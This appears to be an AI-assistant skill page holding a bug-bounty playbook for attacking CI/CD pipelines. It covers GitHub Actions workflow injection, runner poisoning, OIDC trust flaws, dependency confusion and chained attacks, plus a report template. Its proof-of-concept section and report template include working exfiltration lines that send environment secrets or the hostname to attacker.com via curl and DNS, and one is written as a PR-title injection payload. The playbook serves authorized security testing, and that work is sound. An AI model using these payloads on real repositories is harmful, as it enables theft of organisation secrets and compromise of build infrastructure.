Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
CI/CD SECURITY — Pipeline Attack Surface
CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely
Any run: step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
# Check for overly broad permissionspermissions:contents:write# ← Can push/delete codepackages:write# ← Can push malicious packagespull-requests:write
PoC — Exfil via DNS
# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"
5. SELF-HOSTED RUNNER POISONING
Why It Matters
Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.
Detection
# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'
GitHub Actions can request short-lived cloud credentials via OIDC. Misconfigured trust policies allow any branch/repo to claim elevated AWS/GCP/Azure roles.
1. What role does the workflow assume? (aws:role: ARN in workflow or secrets)
2. Is the trust policy scoped to a specific branch? (ref:refs/heads/main)
3. Can you trigger this from a fork or feature branch?
4. What permissions does the role have?
7. DEPENDENCY CONFUSION / SUPPLY CHAIN
Unpinned Actions
# VULNERABLE — could be hijacked if maintainer's account is compromiseduses:actions/checkout@v3# SAFE — pinned to a specific commit SHAuses:actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
Dependency Confusion Attack
Find package.json or requirements.txt that references internal packages
Check if the internal package name is published on npm/PyPI
Publish a malicious package with a higher version number
Build server installs the public (malicious) one instead
Detection
# Find internal package names in config files
grep -rn '"registry"' package.json .npmrc
grep -rn 'index-url\|extra-index-url' requirements.txt pip.conf setup.py
# Check if those package names exist on public registries
8. BUG CLASS TABLE
Bug
Trigger
Severity
CVSS Range
Workflow injection via PR title
${{ github.event.pull_request.title }} in run:
Critical
9.0–10.0
pull_request_target + checkout
Accepts PRs from forks
Critical
9.0–10.0
Self-hosted runner on public repo
runs-on: self-hosted + public repo
High
7.5–9.0
OIDC trust too broad
Any-branch/any-repo claim
High
7.5–8.5
Secret in log
echo ${{ secrets.X }}
Medium
5.5–7.0
Unpinned action
@main / @v1 tag
Low–Medium
3.0–5.5
Artifact poisoning
Unsigned artifact download + exec
Medium
5.5–7.0
GITHUB_TOKEN write abuse
Push to protected branch
Medium
5.5–7.0
Dependency confusion
Internal pkg not on public registry
High
7.5–9.0
workflow_dispatch injection
Unvalidated inputs in run:
Medium–High
6.0–8.0
9. CHAINING CI/CD BUGS
Chain A: IDOR → CI/CD Secret Read
1. IDOR on /api/repos/{id}/settings → read CI/CD config
2. Config references internal secret names
3. Workflow injection to exfil those secrets
→ Impact: Full org secret exfiltration
Chain B: XSS → GitHub Token Theft
1. Stored XSS on internal GitHub Enterprise
2. JS payload reads document.cookie / localStorage for GITHUB_TOKEN
3. Token used to trigger workflow with malicious inputs
→ Impact: RCE on build infrastructure
Chain C: Supply Chain → Production Push
1. Find unpinned action (e.g., uses: corp/internal-action@main)
2. Fork or compromise corp/internal-action
3. Merge malicious code
4. Next CI run pulls the compromised action with full repo write access
→ Impact: Code execution, backdoored releases
10. REPORT TEMPLATE
## Summary
GitHub Actions workflow in `<repo>` is vulnerable to **workflow injection** via the
`github.event.pull_request.title` context variable, which is interpolated directly
into a `run:` shell block. An attacker who opens a specially crafted PR can achieve
arbitrary code execution on the build runner with full access to all repository secrets.
## Steps to Reproduce1. Fork `<repo>`2. Open a PR with the following title:
`"; curl -s attacker.com/$(cat /etc/hostname | base64 -w0 | head -c 40) #`3. The CI workflow `.github/workflows/<name>.yml` runs and executes the injected command.
4. Observe DNS/HTTP callback to attacker.com with hostname (or secret payload).
## Impact- RCE on build runner
- Read of all `${{ secrets.* }}` available to the workflow
- Ability to push malicious code to repository or publish backdoored packages
- Pivot to internal network if runner is self-hosted
## Remediation
Replace direct context interpolation with environment variable assignment:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"
## CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical, 10.0)
11. SCOPE NOTES
Most bug bounty programs scope public repos only — confirm before touching private org repos.
Self-hosted runner attacks require a successful workflow run, which means opening a real PR — confirm the program allows this.
Never trigger a workflow that could affect production infrastructure without explicit written permission.
Always check SECURITY.md or the program policy for CI/CD-specific scope language.
12. TOOLS REFERENCE
Tool
Purpose
Install
sisakulint
Lint GitHub Actions workflows for security issues
bash install_tools.sh
trufflehog
Find secrets leaked in git history / workflow logs
bash install_tools.sh
gitleaks
Scan repos for hardcoded secrets
bash install_tools.sh
gh CLI
Download workflow logs, list secrets, trigger runs
brew install gh
nuclei
CI/CD-specific templates
-tags cicd
secrets_hunter.sh
Wrapper for all three secret scanners
bash tools/secrets_hunter.sh
# Download public workflow run logs (no auth needed)
gh run list --repo owner/repo --limit 10
gh run view <run-id> --log --repo owner/repo
# List exposed secret names (names only — values never shown by API)
gh secret list --repo owner/repo